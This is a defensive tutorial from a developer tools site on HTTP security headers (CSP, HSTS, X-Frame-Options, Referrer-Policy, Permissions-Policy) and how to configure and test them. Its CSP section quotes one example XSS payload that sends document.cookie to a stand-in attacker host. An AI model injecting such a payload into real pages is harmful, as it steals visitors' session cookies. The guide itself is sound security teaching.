DevTools Hub

Search tools

Search for a developer tool

HTTP Security Headers Explained

Part of the Network Security Toolkit

A browser will, by default, run whatever script a page includes, embed that page inside anyone else's <iframe>, send its full URL along to the next site a user clicks through to, and grant a page's camera and microphone requests based on nothing more than the user clicking "Allow" once. None of that is a bug — it's the platform's default, permissive behavior. HTTP security headers are how a server tells the browser to be more careful than that default, for this specific site. This guide covers what each of five commonly misconfigured headers actually does, the real attacks they defend against, and how to configure each one well.

None of this permissiveness is an oversight — the web platform was built to let any page do useful, ordinary things (load a script, embed content, follow a link) without every site having to individually opt in to basic functionality first. That design choice is also exactly what an attacker leans on: a page that never explicitly restricted anything gets the platform's default, maximally permissive behavior applied to it, attacker payload included. Security headers exist to let each site draw its own, narrower line without the platform having to change its defaults for everyone.

Where these headers actually live

Security headers are ordinary HTTP response headers, sent back with every page load alongside Content-Type and the rest. You can see them yourself: open your browser's DevTools, go to the Network tab, reload, and inspect the response headers on the main document request — or run curl -I https://example.com from a terminal. Setting them is usually a one-line configuration change in whatever serves the response: a web server config (nginx, Apache), a reverse proxy or CDN, or middleware in the application framework itself — the mechanism varies, but the header names and values below are identical regardless of what sets them.

Foundational concept: what "origin" means here

Every header below eventually comes down to controlling behavior based on origin — the combination of scheme, host, and port that the browser's same-origin policy treats as a single trust boundary. https://example.com and https://app.example.com are different origins (different host); https://example.com and http://example.com are different origins too (different scheme), even though the hostname is identical. This is why 'self' in a CSP, an allowed origin in frame-ancestors, and the origin sent by strict-origin-when-cross-origin all mean specifically this exact scheme+host+port combination, not "anything that looks related." A subdomain is a different origin by default, which is exactly why includeSubDomains on HSTS and an explicit subdomain entry in a CSP source list are both things you opt into deliberately, rather than something that happens automatically just because two hostnames share a suffix.

Content-Security-Policy: the broadest defense here

Cross-site scripting (XSS) — getting a browser to run script the page author never wrote, usually via unescaped user input rendered back into the page — has been one of the most common serious web vulnerabilities for two decades. Content-Security-Policy (CSP) is the header built specifically to blunt it: it tells the browser exactly which sources are allowed to supply scripts, styles, images, and other resources, and the browser refuses to execute or load anything from outside that allowlist — including a script an attacker managed to inject into the page's HTML.

A CSP value is a semicolon-separated list of directives:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; frame-ancestors 'self'

default-src is the fallback for any resource type without its own specific directive; script-src overrides it specifically for scripts. 'self' means "this same origin only." The two values that quietly defeat most of CSP's protection when present are 'unsafe-inline' (permits inline <script> tags and inline event handlers — exactly what most injected XSS payloads are) and 'unsafe-eval' (permits eval() and similar dynamic code execution). A policy that includes either is still better than no policy at all, but it isn't doing the job CSP exists to do.

The more modern alternative to unsafe-inline, for sites that genuinely need inline scripts, is a nonce or a hash: the server generates a random value per response (script-src 'nonce-r4nd0m123') and adds the matching nonce="r4nd0m123" attribute to each legitimate inline<script> tag it renders — an attacker's injected script has no way to know or predict that value, so it gets blocked while the legitimate inline script still runs. A hash-based policy (script-src 'sha256-...') works similarly for static inline scripts whose exact content — and therefore whose hash — never changes.

Before enforcing a new policy on a site with any real complexity, publish it as Content-Security-Policy-Report-Only first — same syntax, same evaluation, but it only reports what would have been blocked (via a report-uri/report-to directive) rather than actually blocking anything. Once the reports show the policy doesn't break anything legitimate, switch to the enforcing header.

CSP in action: a concrete example

Say a comment form on a page doesn't properly escape user input, and someone submits a comment containing <script>fetch('https://evil.example/steal?c='+document.cookie)</script>. Without a CSP, the browser has no reason to treat that script any differently from one the site's own developers wrote — it runs, reads the visitor's cookies, and sends them to an attacker-controlled domain. With Content-Security-Policy: script-src 'self' in place, the browser refuses to execute that inline script at all — it didn't come from an allowed source, and CSP doesn't distinguish "an attacker injected this" from "this was always part of the page"; it only cares where the script came from. The vulnerability (unescaped input reaching the page) still technically exists, but its actual impact — arbitrary script execution — is neutralized at the browser level, which is exactly why CSP is described as defense in depth rather than a substitute for fixing the underlying bug.

Subresource Integrity: CSP's companion for third-party scripts

A CSP that allows scripts from https://cdn.example.com still has to trust that CDN completely — if it's ever compromised, or a shared cache serves a tampered file, the CSP has no way to notice, since the script is coming from an allowed origin. Subresource Integrity (SRI) closes that specific gap: a <script> tag can include an integrity attribute containing a cryptographic hash of the exact file expected, and the browser refuses to execute it if the actual downloaded content doesn't match:

<script src="https://cdn.example.com/lib.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
        crossorigin="anonymous"></script>

This isn't an HTTP response header — it's an HTML attribute set per script tag — but it directly complements CSP's origin-based trust model with content-based trust, and the two are commonly deployed together for any third-party script a site can't fully control the delivery of.

Strict-Transport-Security: closing the downgrade window

Even a site fully served over HTTPS has a gap: the very first time a browser connects, or any time a user types a bare domain or clicks an old http:// link, that initial request can go out over plain HTTP before a server-side redirect ever has a chance to upgrade it to HTTPS. An attacker positioned on the network — a hostile Wi-Fi network is the classic example — can intercept that one plaintext request and never let the redirect happen at all, a technique known as SSL stripping.

Strict-Transport-Security (HSTS) closes this by telling the browser, after the first successful HTTPS visit, to silently rewrite every future request to this domain to HTTPS before it ever leaves the browser — no network request, and therefore nothing to intercept, for the plain-HTTP version at all:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

max-age (in seconds) is how long the browser remembers this instruction — 31536000 is one year, the generally recommended minimum so the protection doesn't quietly lapse for an infrequent visitor. includeSubDomains extends the same rule to every subdomain, closing off an attacker simply targeting an unprotected old.example.com instead. preload addresses the one gap HSTS still has on its own — the very first connection, before the browser has ever seen this header — by opting into a hardcoded list, shipped inside Chrome, Firefox, Safari, and Edge themselves, of domains to always contact over HTTPS from the first request onward. Submitting a domain at hstspreload.org is how a site gets onto that list; it requires includeSubDomains and a max-age of at least a year first.

X-Frame-Options: stopping clickjacking

Clickjacking loads a legitimate page — a bank's "confirm transfer" button, a social network's "like" button — inside an invisible or disguised <iframe> on an attacker's page, then shows the user something else entirely on top, positioned so that clicking the visible decoy actually clicks the hidden button underneath. The user genuinely believes they're clicking a game or a survey; they're actually authorizing an action on a completely different site they never intended to interact with at all.

X-Frame-Options stops this by telling the browser whether the page may be framed at all: DENY refuses every framing attempt, including from the site's own other pages; SAMEORIGIN allows framing only from the same origin. A third value, ALLOW-FROM, tried to permit a specific external origin, but it's deprecated and unsupported in most current browsers. The modern replacement for that specific per-origin use case is CSP's frame-ancestors directive, which does everything X-Frame-Options does plus an actual allowlist of permitted framing origins — and takes precedence over X-Frame-Options in browsers that support both, which is effectively all current ones.

Referrer-Policy: controlling what leaks in the Referer header

Whenever a user follows a link from one page to another, the browser can tell the destination site where the visitor came from via the Referer header (yes, spelled with the original 1990s typo baked permanently into the HTTP spec) — and by default, historically, that included the entire originating URL: path, query string, and all. A URL like https://example.com/account/reset?token=abc123 leaking its full query string to whatever third-party resource the page happened to load is a real, recurring way sensitive data has ended up somewhere it shouldn't.

Referrer-Policy controls how much of that URL actually gets sent, with options spanning a real spectrum:

  • no-referrer — sends nothing, ever.
  • strict-origin-when-cross-origin — sends the full URL to same-origin destinations, only the origin (no path or query) to other HTTPS destinations, and nothing at all to a plain-HTTP destination. This is the default modern browsers already apply even with no header set.
  • same-origin — sends the full URL only to the same origin, nothing cross-origin at all.
  • unsafe-url — always sends the full URL, including to plain-HTTP destinations. Almost never actually intended.

Because browsers already default to a reasonably safe policy, this is the one header on this list where doing nothing isn't a serious exposure — but setting it explicitly removes any dependence on a specific browser vendor's current default, which is worth doing for anything handling sensitive URLs.

Permissions-Policy: restricting what browser APIs can be used

Modern browsers expose increasingly powerful APIs to web pages — camera and microphone access, precise geolocation, payment request APIs, USB device access. Every one of those is available by default to the page itself and, critically, to anything the page embeds via an <iframe>, unless explicitly restricted. Permissions-Policy is that restriction:

Permissions-Policy: geolocation=(self), camera=(), microphone=()

Each feature maps to a list of origins allowed to use it — () means nobody, (self) means only this origin, and specific origins can be listed explicitly. This matters most for sites embedding third-party content: an ad network or an embedded widget has no legitimate reason to request camera access, and Permissions-Policy is what actually prevents it from being able to, regardless of what the iframe's own code tries to do. The header replaces an older one, Feature-Policy, which used different (space-separated, not allowlist-function) syntax and is no longer supported by current browsers — a site still only sending Feature-Policy is effectively sending nothing at all.

A concrete case where this matters: a page embedding a third-party video player or a payment widget in an <iframe> can additionally delegate a specific feature to that exact frame via the iframe's own allow attribute (<iframe src="..." allow="camera 'self'">), but the top-level Permissions-Policy header is still the outer boundary — a feature the header denies entirely can't be re-granted by an individual iframe's allow attribute. The header sets the ceiling; the attribute can only narrow it further, never raise it.

Other headers worth knowing about

These five aren't the complete list of security-relevant response headers — a few others worth knowing exist, even though they're outside the scope of what Security Headers Analyzer checks:

  • X-Content-Type-Options: nosniff — stops the browser from guessing a resource's content type based on its content rather than trusting the declared Content-Type, closing off a class of attack where a file uploaded as "an image" gets executed as script because the browser decided, on its own, that it looked more like HTML.
  • Cross-Origin-Opener-Policy and Cross-Origin-Embedder-Policy — isolate a page's browsing context from cross-origin windows it opens or is opened by, a prerequisite for enabling certain powerful APIs (like SharedArrayBuffer) safely.
  • Cross-Origin-Resource-Policy — controls whether a specific resource (an image, a script) can be loaded cross-origin at all, protecting against certain cross-origin information leaks.
  • Report-To (and the older Report-URI) — configures where the browser should send reports for CSP violations and other reportable events, separate from the policy itself. Pairing an enforcing CSP with reporting turns "something was blocked" from a silent, unnoticed event into a message a team can actually see and act on.

Quick reference: all five headers

Header                      Defends against         A reasonable starting point
Content-Security-Policy    Cross-site scripting     default-src 'self'
Strict-Transport-Security  Downgrade/SSL-stripping  max-age=31536000; includeSubDomains
X-Frame-Options             Clickjacking             DENY (or frame-ancestors 'none' in CSP)
Referrer-Policy             Referrer/URL leakage     strict-origin-when-cross-origin
Permissions-Policy          Unwanted API access      Explicitly deny features this site never uses

None of these values are universally correct — a site that legitimately needs to be framed by a partner site, for instance, has a real reason to use frame-ancestors with a specific allowlist rather than DENY. Treat this table as a starting point to adjust from, not a policy to copy verbatim into production.

Testing what you actually shipped

Configuring a header and confirming it's actually being sent, correctly, are two different steps — a typo in a config file, a CDN silently stripping a header, or a caching layer serving a stale response from before the change are all real ways a header looks correct in the config but wrong on the wire. After deploying:

  • Run curl -I https://yoursite.example and read the actual response headers directly, bypassing any browser cache.
  • Paste that output into Security Headers Analyzer to check each header's value against the specific criteria described in this post, not just whether it's present.
  • For CSP specifically, keep an eye on the browser console during real usage for a few days after any change — a blocked resource logs a clear CSP violation message there, which is often the fastest way to catch a policy that's stricter than intended.

Common mistakes

  • Writing a CSP with unsafe-inline and calling it done. It's syntactically a Content-Security-Policy, but it doesn't block the inline scripts most real XSS payloads actually use.
  • Enabling HSTS preload before confirming HTTPS works everywhere. Preload is effectively permanent and slow to undo across browsers — confirm every subdomain genuinely serves valid HTTPS first.
  • Setting X-Frame-Options to SAMEORIGIN when the site is never meant to be framed by anyone, including itself. DENY is simpler and stricter when there's no legitimate framing use case at all.
  • Assuming Feature-Policy still works. It's deprecated; only Permissions-Policy is read by current browsers.
  • Testing a new CSP directly in enforcing mode on a production site. Report-Only mode exists specifically to avoid discovering a broken policy by way of a site outage.
  • Only testing the homepage. A checkout page that embeds a payment widget, a support page with a live-chat script, and a marketing landing page with an embedded video each tend to need different CSP allowances — a policy validated against one route can still break a different one that loads resources the homepage never did.

FAQ

Do I need all five headers, or can I add them one at a time?

One at a time is the safer approach, especially for Content-Security-Policy — it's the header most likely to break something if the policy doesn't match what the site actually loads. Start with Content-Security-Policy-Report-Only to see what would have been blocked without actually blocking it, then move to an enforcing policy once the report looks clean.

Will adding these headers slow down my site?

No — they're just response headers, evaluated by the browser with negligible overhead. The only real cost is the engineering time to configure them correctly and test that nothing legitimate gets blocked.

Can a CDN or reverse proxy add these headers instead of my application?

Yes, and it's often the more practical place to do it — most CDNs and reverse proxies (Cloudflare, nginx, a load balancer) can inject response headers without touching application code, which is especially convenient for headers like HSTS and X-Frame-Options that rarely need to vary by route.

Why do browsers already have reasonably safe defaults for some of these but not others?

Referrer-Policy is the main example — modern browsers default to strict-origin-when-cross-origin on their own. Content-Security-Policy, Permissions-Policy, and Strict-Transport-Security have no meaningfully protective default, since a default strict enough to be useful would break sites that haven't explicitly opted in — so the server has to set them explicitly.

What's the single highest-priority header to add if I can only do one?

Content-Security-Policy, even a basic one — it's the broadest defense here, directly mitigating cross-site scripting, which remains one of the most common and damaging web vulnerabilities. Strict-Transport-Security is the close second priority for any site already fully on HTTPS.

Try it yourself

Security Headers Analyzer checks all five headers covered in this guide against the specific criteria described above — paste any site's response headers to get a security score, a list of recommendations, and a plain-English explanation of each header, entirely in your browser.

Related tools